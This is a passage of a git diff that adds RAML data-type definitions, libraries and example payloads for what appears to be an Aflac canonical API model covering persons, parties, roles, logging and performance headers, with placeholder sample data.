+ description: unit of the usage amount
+ required: false
+ type: string
+ time-amount:
+ displayName: Time Amount
+ description: a number that represents per time
+ required: false
+ type: number
+ time-unit:
+ displayName: Time Unit
+ description: unit that represents time amount
+ required: false
+ type: string
+
+examples:
+ smoking-example:
+ habit-name: smoking
+ usage-amount: 2
+ usage-unit: pack
+ time-amount: 1
+ time-unit: day
+ gaming-example:
+ habit-name: video games
+ usage-amount: 6
+ usage-unit: hour
+ time-amount: 1
+ time-unit: day
+ drinking-example1:
+ habit-name: beer consumption
+ usage-amount: 6
+ usage-unit: can
+ time-amount: 1
+ time-unit: day
+ drinking-example2:
+ habit-name: coffee consumption
+ usage-amount: 10
+ usage-unit: cup
+ time-amount: 1
+ time-unit: week
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-language.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-language.raml
new file mode 100644
index 0000000..ffef655
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-language.raml
@@ -0,0 +1,32 @@
+#%RAML 1.0 DataType
+
+uses:
+ lib: ../libraries/library-context-and-preference.raml
+
+displayName: Language
+description: This data structure contains the language information of a person
+
+type: [lib.preferable, lib.contextual]
+additionalProperties: false
+
+properties:
+ name:
+ displayName: Language Name
+ description: The spelled out name of the language such as English or Spanish
+ type: string
+ required: false
+ code:
+ displayName: ISO Language Code
+ description: ISO 639-1, 2 character language code as it is listed here https://www.loc.gov/standards/iso639-2/php/code_list.php
+ type: string
+ required: false
+ locale:
+ displayName: Language Locale
+ description: The locale that determines the accent and dialect such as US vs UK for English
+ type: string
+ required: false
+
+example:
+ name: English
+ code: en
+ locale: US
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-log-entry.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-log-entry.raml
new file mode 100644
index 0000000..a99c633
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-log-entry.raml
@@ -0,0 +1,92 @@
+#%RAML 1.0 DataType
+
+displayName: Aflac Log Entry Type
+description: The type to be used in all Aflac Software Components when logging any activity
+
+type: object
+additionalProperties: false
+
+properties:
+ transaction-id:
+ displayName: Transaction ID
+ description: |
+ The GUID that uniquely identifies the consumer's request.
+ This id should originate from the consumer.
+ If the consumer cannot produce a unique id, then the first point of contact software component produces it on behalf of the consumer.
+ This id continues to be propagated to downstream components via the Aflac-Timestamps header, both in request and response flows.
+ type: string
+ required: false
+ level:
+ displayName: Log Entry Level
+ required: false
+ enum:
+ - FATAL
+ - ERROR
+ - WARN
+ - INFO
+ - DEBUG
+ - TRACE
+ code:
+ displayName: Entry Code
+ description: Any code that can be used to identify a condition, both success or failure. This can be a response code, a status code that is specific to a protocol
+ type: string
+ required: false
+ examples:
+ http_example: HTTP 404
+ amqp_example: AMQP 9903
+ sql_example: JDBC 3001
+ jms_example: JMS 668
+ origin:
+ displayName: Origination Point
+ description: Information regarding what has created this log entry
+ required: false
+ type: !include dataType-code-origin.raml
+ message:
+ displayName: Any message in free text form for additional information
+ type: string
+ required: false
+ time:
+ displayName: Occurence Time
+ description: |
+ When the software component creates this log entry.
+ GMT long number.
+ Instead of using a formatted date-time string use the long number that represents the GMT time in milliseconds.
+ This element is especially important to provide with the Traffic Direction and Origination Point to calculate all system performance.
+ The accuracy of the system performance information depends on the machine time synchronization with a master clock.
+ type: number
+ required: false
+ direction:
+ displayName: Traffic Direction
+ description: |
+ A software component can have the following 4 traffic modes
+ - RequestFromConsumer: The component has just received a request from a consumer
+ - ResponseToConsumer: The component is about to send the response back to the consumer
+ - RequestToProvider: The component is making a request to another provider
+ - ResponseFromProvider: The component has just received a response from the provider
+ required: false
+ enum:
+ - RequestFromConsumer
+ - ResponseToConsumer
+ - RequestToProvider
+ - ResponseFromProvider
+
+examples:
+ info-example:
+ transaction-id: B744DF0B-0B71-4A0C-9F5A-8D45F204987D
+ level: INFO
+ origin:
+ node: PCNSDBSQL01
+ component: Account API
+ message: Received a request from ABC Consumer
+ time: 157002458744
+ direction: RequestFromConsumer
+ error-example:
+ transaction-id: B744DF0B-0B71-4A0C-9F5A-8D45F204987D
+ level: ERROR
+ code: HTTP 429
+ origin:
+ node: PCNSDBSQL01
+ component: Account API
+ message: Limit Exceeded. This API does not allow ABC consumer more than 10 requests per minute"
+ time: 157002458744
+ direction: RequestFromConsumer
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-master-key.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-master-key.raml
new file mode 100644
index 0000000..4e793e7
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-master-key.raml
@@ -0,0 +1,49 @@
+#%RAML 1.0 DataType
+
+uses:
+ source-lib: ../libraries/library-source.raml
+
+displayName: Master Key
+description: |
+ The master key is a generically reusable object that can uniquely identify any record in any system. Master key can also uniquely identify the combined data of an entity from all systems using a global id.
+ As an example, consider a business entity called Person. The Person's full information may have been distributed on several Source systems. If we read all Source systems and combine the data, removing redundant elements, we would reach a complete Person record. The Person's record in System 1 may be identitified by an element such as SSN, in System 2 it may be identified by many elements, such as full name, date of birth and location of birth, in System 3 may be idenitified by an internal ID. Each system may contain pieces of important information and some information may have been redundantly stored in more than one source system.
+
+type: object
+additionalProperties: false
+
+properties:
+ type:
+ displayName: Object's Type Name
+ description: The name of the object's type. This should be a concrete business entity name that makes sense in Aflac's business, such as a policyholder, associate, account, invoice, etc.
+ required: false
+ type: string
+ guid:
+ displayName: Global Unique ID
+ description: A unique ID that represents a specific entity across all systems
+ required: false
+ type: string
+ sources:
+ displayName: Sources
+ description: the list of sources each of which contains some or all parts of an entity's full information
+ type: source-lib.sources
+ required: false
+examples:
+ policyholder-example:
+ type: policyholder
+ guid: 12345678-ABCD-DEFA-0001-0123456789ABCDEF
+ sources:
+ - source-name: Customer Information File
+ source-code: CIF
+ resource-keys:
+ - name: CIFNumber
+ value: PH5534265142
+ type: string
+ - source-name: SalesForce
+ source-code: SFE
+ resource-keys:
+ - name: SFID
+ value: 112233445566ASDD
+ type: string
+
+ associate-example:
+ type: associate
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-organization.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-organization.raml
new file mode 100644
index 0000000..98be2c3
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-organization.raml
@@ -0,0 +1,38 @@
+#%RAML 1.0 DataType
+
+uses:
+ party-lib: ../libraries/library-party.raml
+
+displayName: Organization
+description: Organization represents any business
+
+type: party-lib.party
+additionalProperties: false
+
+properties:
+ organization-name:
+ displayName: Organization Name
+ description: Full name of the organization
+ required: false
+ type: string
+ date-of-establishment:
+ displayName: Date of Establishment
+ description: Organization's first day of official existence
+ required: false
+ type: date-only
+ date-of-disestablishment:
+ displayName: Date of Disestablishment
+ description: Organization's last day of official existence
+ required: false
+ type: date-only
+ total-employee-count:
+ displayName: Total Employee Count
+ description: Number of employees an organization has
+ required: false
+ type: integer
+ tax-id:
+ displayName: Tax ID
+ description: Government issued tax ID
+ required: false
+ type: property-lib.property
+
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-party.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-party.raml
new file mode 100644
index 0000000..903d075
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-party.raml
@@ -0,0 +1,37 @@
+#%RAML 1.0 DataType
+
+uses:
+ role-lib: ../libraries/library-role.raml
+
+displayName: Party
+description: |
+ Any entity that can take part in a business transaction and can be interacted with is considered a party. There are two main groups, person and organization.
+ In Aflac's business, examples in person category include Associates, Applicants, Insurance Agreement Holders, Beneficiaries, Employees, Dependents and so on. Examples in organization category include Accounts, Brokers and Third Party Administrators.
+ Each of these examples is considered to be a role of a party. For example, a party can be both an associate, an applicant and an insurance agreement holder. Each of these roles may have some common properties and some role specific properties.
+
+type: object
+additionalProperties: false
+
+properties:
+ party-name:
+ displayName: Party Name
+ description: The name of the party. If the party is of type Person, this is set to the Person's full name. If the party is of Type Organization, this is set to the name of the organization.
+ required: false
+ type: string
+
+ party-type:
+ displayName: Party Type
+ description: Type of the party whether it is of Person or Organization. When Person is selected the person-info property is populated, and organization-info property is not populated. When Organization is selected, the organization-info property is populated and person-info property is not populated. When it is left as unset, it is not definitive which *-info is populated. Both person-info and organization-info properties must NOT be populated in the same party instance.
+ type: string
+ required: false
+ enum:
+ - Person
+ - Organization
+ - Unset
+ default: Unset
+
+ roles:
+ displayName: Roles
+ description: Every party instance may represent one or more roles.
+ required: false
+ type: role-lib.roles
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-node.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-node.raml
new file mode 100644
index 0000000..d1d4787
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-node.raml
@@ -0,0 +1,43 @@
+#%RAML 1.0 DataType
+
+displayName: Performance Node
+description: This object represents a component node which captures a request or response entry or exit point.
+
+type: object
+additionalProperties: false
+
+properties:
+ n:
+ displayName: Node
+ description: The name of the machine on which the component is executing. If the machine is a node in a cluster the exact name of the machine needs to be used
+ required: false
+ type: string
+ c:
+ displayName: Component
+ description: The name of the software component that is handling the request or response
+ required: false
+ type: string
+ t:
+ displayName: Time
+ description: the time when the traffic has entered or left the component. This is a long number of the GMT rather than any formatted time string.
+ required: false
+ type: number
+ s:
+ displayName: Status
+ description: this field only applicable for a response and shows the status of the response.
+ required: false
+ type: string
+ d:
+ displayName: Direction
+ description: |
+ the direction of the traffic
+ uQ : stands for upstreamReQuest. Use this value when your component receives a request from the upstream flow. This indicates that the request is coming into your component.
+ uS : stands for upstreamReSponse. Use this value when your component returns a response to the upstream flow. This indicates that the response is going back to the component's consumer.
+ dQ : stands for downstreamReQuest. Use this value when your component is sending a request to another coomponent in the downstream flow. This indicates that the request is leaving your component.
+ dS : stands for dowstreamReSponse. Use this value when your component receives the response from the dowstream request. This indicates that the response has arrived into your component.
+ required: false
+ enum:
+ - uQ
+ - uS
+ - dQ
+ - dS
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-report.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-report.raml
new file mode 100644
index 0000000..e11bb24
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-report.raml
@@ -0,0 +1,22 @@
+#%RAML 1.0 DataType
+
+uses:
+ performance-lib: ../libraries/library-performance.raml
+
+type: object
+additionalProperties: false
+
+properties:
+ active:
+ displayName: Activation Flag
+ description: |
+ A consumer can set this flag to true which will enable the creation of performance report in the header.
+ This indicates all downstream components to collect and update the aflac-performance-report header object values accordingly.
+ required: false
+ type: boolean
+ default: false
+ ns:
+ type: performance-lib.performance-nodes
+
+examples:
+ !include ../examples/example-performance-report.raml
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person-name.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person-name.raml
new file mode 100644
index 0000000..acde767
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person-name.raml
@@ -0,0 +1,45 @@
+#%RAML 1.0 DataType
+
+displayName: Name
+description: Structure to represent a person's full name
+
+type: object
+additionalProperties: false
+
+properties:
+ salutation:
+ required: false
+ enum:
+ - Mr.
+ - Ms.
+ - Mrs.
+ first-name:
+ required: false
+ type: string
+ middle-name:
+ required: false
+ type: string
+ last-name:
+ required: false
+ type: string
+ suffix:
+ required: false
+ type: string
+ nick-names:
+ required: false
+ type: array
+ items: string
+examples:
+ regular-example:
+ salutation: Mr.
+ first-name: John
+ middle-name: F
+ last-name: Remedy
+ suffix: III
+ nick-names: [Babyface, Softhands]
+ extended-example:
+ salutation: Mr.
+ first-name: John
+ middle-name: F
+ last-name: Remedy
+ suffix: III
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person.raml
new file mode 100644
index 0000000..8c8130d
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person.raml
@@ -0,0 +1,103 @@
+#%RAML 1.0 DataType
+
+uses:
+ party-lib: ../libraries/library-party.raml
+ person-name-lib: ../libraries/library-person-name.raml
+ address-lib: ../libraries/library-address.raml
+ habit-lib: ../libraries/library-habit.raml
+ property-lib: ../libraries/library-property.raml
+
+
+
+displayName: Person
+
+type: party-lib.party
+additionalProperties: false
+
+properties:
+ name:
+ displayName: Person's full name
+ required: false
+ type: person-name-lib.person-name
+ gender:
+ displayName: Person's gender
+ required: false
+ enum:
+ - Male
+ - Female
+ - Other
+ - Unknown
+ date-of-birth:
+ displayName: Person's date of birth
+ required: false
+ type: date-only
+ location-of-birth:
+ displayName: Person's location of birth
+ required: false
+ type: address-lib.address
+ date-of-death:
+ displayName: Person's date of death
+ required: false
+ type: date-only
+ ethnicity:
+ displayName: Person's Ethnicity
+ required: false
+ type: string
+ marital-status:
+ displayName: Marital Status
+ description: Current Marital Status of a Person, such as, single, married, divorced, widowed etc.
+ required: false
+ type: string
+ social-security-number:
+ displayName: Social Security NUmber
+ description: Government issued social security number
+ required: false
+ type: property-lib.property
+ habits:
+ displayName: Habits
+ description: a collection of all habits a person may have
+ required: false
+ type: habit-lib.habits
+examples:
+ regular-example:
+ name:
+ salutation: Mr.
+ first-name: John
+ middle-name: F
+ last-name: Remedy
+ suffix: III
+ gender : Male
+ date-of-birth: 1999-01-01
+ social-security-number:
+ type: string
+ value: ASS45ffwr+==
+ encryption-flag: encrypted
+ location-of-birth:
+ city: Atlanta
+ state-region-code: GA
+ country: USA
+ extended-example:
+ name:
+ salutation: Mr.
+ first-name: John
+ middle-name: F
+ last-name: Remedy
+ suffix: III
+ gender : Male
+ date-of-birth: 1999-01-01
+ location-of-birth:
+ city: Atlanta
+ state-region-code: GA
+ country: USA
+ marital-status: married
+ habits:
+ - habit-name: video games
+ usage-amount: 6
+ usage-unit: hour
+ time-amount: 1
+ time-unit: day
+ - habit-name: beer consumption
+ usage-amount: 6
+ usage-unit: can
+ time-amount: 1
+ time-unit: day
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-phone.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-phone.raml
new file mode 100644
index 0000000..8443215
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-phone.raml
@@ -0,0 +1,32 @@
+#%RAML 1.0 DataType
+
+uses:
+ core: ../libraries/library-context-and-preference.raml
+
+displayName: Phone
+description: Used to express the values of any phone number in the world
+
+type: [core.preferable, core.contextual]
+additionalProperties: false
+
+properties:
+ country-code:
+ required: false
+ type: string
+ area-code:
+ required: false
+ type: string
+ phone-number:
+ required: false
+ type: string
+ ext:
+ displayName: phone extension
+ required: false
+ type: string
+
+example:
+ context: Mobile
+ country-code: "1"
+ area-code: "877"
+ phone-number: 763-3000
+ ext: "24558"
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-policyholder.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-policyholder.raml
new file mode 100644
index 0000000..c055464
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-policyholder.raml
@@ -0,0 +1 @@
+#%RAML 1.0 DataType
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-preferable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-preferable.raml
new file mode 100644
index 0000000..320fc02
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-preferable.raml
@@ -0,0 +1,15 @@
+#%RAML 1.0 DataType
+
+displayName: Preference Index
+type: object
+additionalProperties: false
+
+properties:
+ preference-index:
+ required: false
+ type: integer
+ displayName: Preference Index
+ description: Preference index is an integer number between 0 and 9. If there are many contact methods a party can be reached at, the contact information with the highest preference index is to be chosen. Preference index number can span multiple types of contact information, for example, a party can have 2 addresses, 3 phones and 1 email address, altogether 6 contact methods with preference indexes, 0, 0, 9, 0, 0, 1, respectively. This would mean that the party prefers to be contacted first through the 1st phone number and second through the email address and the party does not want to be contacted through anything else even though those additional contact information has been provided.
+ default: 0
+ example: 3
+
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-property.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-property.raml
new file mode 100644
index 0000000..b0ae300
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-property.raml
@@ -0,0 +1,61 @@
+#%RAML 1.0 DataType
+
+displayName: Entity Property
+description: A generic type that can contain a typed name value pair.
+
+type: object
+additionalProperties: false
+
+properties:
+ order:
+ description: When this type is used as an array the order field shows the where in the arraqy a specific element is placed
+ required: false
+ type: number
+ type:
+ displayName: Property Type Name
+ description: The type of the value, such as string, number, boolean, etc. Must be a primitive type, not an object type.
+ required: false
+ type: string
+ is-array:
+ required: false
+ type: boolean
+ delimiter:
+ required: false
+ type: string
+ name:
+ required: false
+ type: string
+ value:
+ required: false
+ type: string
+ masking-flag:
+ required: false
+ type: string
+ enum:
+ - to-be-masked
+ - masked
+ encryption-flag:
+ required: false
+ type: string
+ enum:
+ - to-be-encrypted
+ - encrypted
+examples:
+ number-example:
+ value:
+ order: 1
+ type: number
+ name: age
+ value: "45"
+ string-example:
+ value:
+ order: 5
+ type: string
+ name: city
+ value: Atlanta
+ ssn-example:
+ value:
+ type: string
+ name: ssn
+ value: 2t5rRE4ew3ew==
+ encryption-flag: encrypted
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-role.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-role.raml
new file mode 100644
index 0000000..2ed4982
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-role.raml
@@ -0,0 +1,51 @@
+#%RAML 1.0 DataType
+
+uses:
+ master-key-lib: ../libraries/library-master-key.raml
+ property-lib: ../libraries/library-property.raml
+ contact-info-lib: ../libraries/library-contact-info.raml
+
+displayName: Role
+description: Role applies to a party and describes the specifics of that party instance. For example, a party can be a person who is both a policyholder and an associate. This means that the same person has two roles. Some of the person's properties such as his name, gender and age may be common to all of his roles, while some other properties such as his policyholder ID is unique to his policyholder role and his associate ID is unique to his associate role. Sometimes there may be more than one system of record for this person and the data has to be collected and merged to get a complete picture.
+type: object
+additionalProperties: false
+
+properties:
+ id:
+ displayName: ID
+ description: The unique id of the instance represented by this role. For example, if the role-name is policyholder then this ID represents a specific policyholder
+ required: false
+ type: master-key-lib.master-key
+
+ role-name:
+ displayName: Role name
+ description: |
+ Name of the role. Role names are listed in this documentation instead of an enumaration as new names may be added at any time.
+ Current Person based role names are
+ - Insurance Agreement Holder
+ - Policyholder
+ - Certificateholder
+ - Claimant
+ - Applicant
+ - Dependent
+ - Beneficiary
+ - Associate
+ - Employee
+ Current Organization based role names are
+ - Account
+ - Third Party Administrator
+ - Broker
+ required: false
+ type: string
+
+ contact-information:
+ displayName: Role Contact Information
+ description: Contact Information for the role
+ required: false
+ type: contact-info-lib.contact-information
+
+ statuses:
+ displayName: Role Statuses
+ description: the description of each status as an array
+ required: false
+ type: property-lib.properties
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-social-media-account.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-social-media-account.raml
new file mode 100644
index 0000000..fe4a544
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-social-media-account.raml
@@ -0,0 +1,28 @@
+#%RAML 1.0 DataType
+
+uses:
+ core: ../libraries/library-context-and-preference.raml
+
+displayName: Social Media Account Information
+
+type: [core.preferable, core.contextual]
+additionalProperties: false
+
+properties:
+ platform-name:
+ displayName: Platform Name
+ description: The name of the social media platform such as Skype, WhatsApp, Twitter, Instagram, etc.
+ required: false
+ type: string
+ user-name:
+ displayName: User Name
+ required: false
+ type: string
+
+examples:
+ skype-example:
+ platform-name: Skype
+ user-name: JohnDoe2011
+ facebook-example:
+ platform-name: Facebook
+ user-name: JohnDoe2011
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-source.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-source.raml
new file mode 100644
index 0000000..a280e59
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-source.raml
@@ -0,0 +1,65 @@
+#%RAML 1.0 DataType
+uses:
+ property-lib: ../libraries/library-property.raml
+ version-lib: ../libraries/library-version.raml
+
+displayName: Source
+description: Source represents the location of persisted data and its unique identifier(s). This value can be provided to consumer services for routing and optimistic record locking purposes. Consumer applications should not see this value.
+
+type: object
+additionalProperties: false
+
+properties:
+ source-name:
+ displayName: Source Name
+ description: The name of the Source System
+ required: false
+ type: string
+ source-code:
+ displayName: Source Code
+ description: The code abbreviation of the Source System
+ required: false
+ type: string
+ source-version:
+ displayName: Source Version
+ description: The version of the Source System in which the record exists
+ required: false
+ type: version-lib.version
+ record-creation-time:
+ displayName: Record Creation Time
+ description: Shows in GMT when a particular record has been created
+ required: false
+ type: datetime
+ record-last-updated-time:
+ displayName: Record Last Update Time
+ description: Shows in GMT when a particular record has been last updated
+ required: false
+ type: datetime
+ resource-keys:
+ displayName: Resource ID
+ description: |
+ An object can be identified combining several pieces of information, each of them a part of a composite key.
+ For example, a person can be identified by the combination of name, date and location of birth.
+ Name has 5 subcomponents, salutation, first, middle, last name and suffix.
+ date of birth has 3 subcomponents, month, day and year
+ location of birth has 3 subcomponents, city, state and country
+ altogether 11 subcomponents in a very specific order can identify a person
+ type: property-lib.properties
+ required: false
+ delimiter:
+ displayName: Delimiter
+ description: This is the character or character sequence that delimits individual key values
+ required: false
+ type: string
+ default: "~"
+ example: "~"
+ composite-key:
+ displayName: Composite Key
+ description: |
+ Composite key combines the values of each key component, places the delimiter between them and represents the object's id as a single string.
+ type: string
+ required: false
+ examples:
+ person-example: CIF(Mr.~John~F~Remedy~III~8~21~1964~Atlanta~GA~USA)
+ person-with-missing-values-example: WYN(~John~F~Remedy~~8~21~1964~Atlanta~GA~USA)
+ ssn-example: CIF(~~~~~~~~~~~~2rTe45ri8==)
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-version.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-version.raml
new file mode 100644
index 0000000..3e175f2
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-version.raml
@@ -0,0 +1,36 @@
+#%RAML 1.0 DataType
+
+displayName: Version Information
+description: Used to capture version information of software components and artifacts. The implementation of this type must be done in such a way so that when full field is edited major, minor and revision fields are automatically set to correct values and when any any of the major, minor or revision fields are edited the full field is repopulated with the correct values.
+
+type: object
+additionalProperties: false
+
+properties:
+ major:
+ displayName: Major Version Number
+ required: false
+ type: string
+ example: "1"
+ minor:
+ displayName: Minor Version Number
+ required: false
+ type: string
+ example: "5"
+ revision:
+ displayName: Revision Number
+ required: false
+ type: string
+ example: "181_b1"
+ full:
+ displayName: Full Version Number
+ description: A combination of major.minor.revision that is usually dot delimited
+ required: false
+ type: string
+ example: "1.5.181_b1"
+
+example:
+ major: "1"
+ minor: "5"
+ revision: "181_b1"
+ full: "1.5.181_b1"
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/docs/Legal.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/docs/Legal.raml
new file mode 100644
index 0000000..651e0ff
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/docs/Legal.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 DocumentationItem
+title: Legal
+content: Add Legalese here that applies too all APIs
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-error.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-error.raml
new file mode 100644
index 0000000..69e58ed
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-error.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 NamedExample
+error-example:
+ value:
+ transaction-id: aaaaaaaa-bbbb-cccc-dddd-0123456789ab
+ type: Data error
+ message: String value was expected but number value received
+ time: 2018-05-31T15:00:06,325Z
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-get-health-check.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-get-health-check.raml
new file mode 100644
index 0000000..0e77777
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-get-health-check.raml
@@ -0,0 +1,16 @@
+#%RAML 1.0 NamedExample
+health-check-example:
+ value:
+ - context: experienceAPI-datacap-claims
+ code: "1"
+ short-description: healthy
+ - context: processAPI-claim-adjudicator
+ code: "1"
+ short-description: healthy
+ - context: systemAPI-wynsure-claims
+ code: "1"
+ short-description: healthy
+ - context: systemAPI-SQL-DB-claims
+ code: "404"
+ short-description: resource not found
+ long-description: The health check on systemAPI-SQL-DB-claims did not respond with success. Contact SQL Server DBA.
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-performance-report.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-performance-report.raml
new file mode 100644
index 0000000..405e188
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-performance-report.raml
@@ -0,0 +1,23 @@
+#%RAML 1.0 NamedExample
+performance-example:
+ value:
+ active: true
+ ns:
+ - n: ConsumerMachine
+ c: Provider A
+ t: 1230000000000
+ d: dQ
+ - n: Server1
+ c: Provider A
+ t: 1230000000150
+ d: uQ
+ - n: ConsumerMachine
+ c: Provider A
+ t: 123000005400
+ d: uS
+ s: "200"
+ - n: ConsumerMachine
+ c: Provider A
+ t: 123000005400
+ d: dS
+ s: "200"
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/exchange.json b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/exchange.json
new file mode 100644
index 0000000..3704e99
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/exchange.json
@@ -0,0 +1 @@
+{"main":"data-types/dataType-contact-information.raml","name":"aflac-canonical-definitions","classifier":"raml-fragment","tags":["trait"],"groupId":"f810f56f-6647-4b99-8172-a7212e2bd0fa","assetId":"aflac-canonical-definitions","version":"1.0.0","backwardsCompatible":false,"apiVersion":"v1","metadata":{"projectId":"18456417-f1e7-4671-9cba-faf5d7bf37bd","branchId":"master","commitId":"247afc996e8b6f557f5931064433bdd06c961433"}}
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-address.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-address.raml
new file mode 100644
index 0000000..d1f3b6d
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-address.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 Library
+types:
+ address: !include ../data-types/dataType-address.raml
+ addresses:
+ displayName: Addresses
+ description: A collection of addresses
+ type: address[]
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-base.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-base.raml
new file mode 100644
index 0000000..bf488f2
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-base.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 Library
+types:
+ base: !include ../data-types/dataType-base.raml
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-basic-questions-set.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-basic-questions-set.raml
new file mode 100644
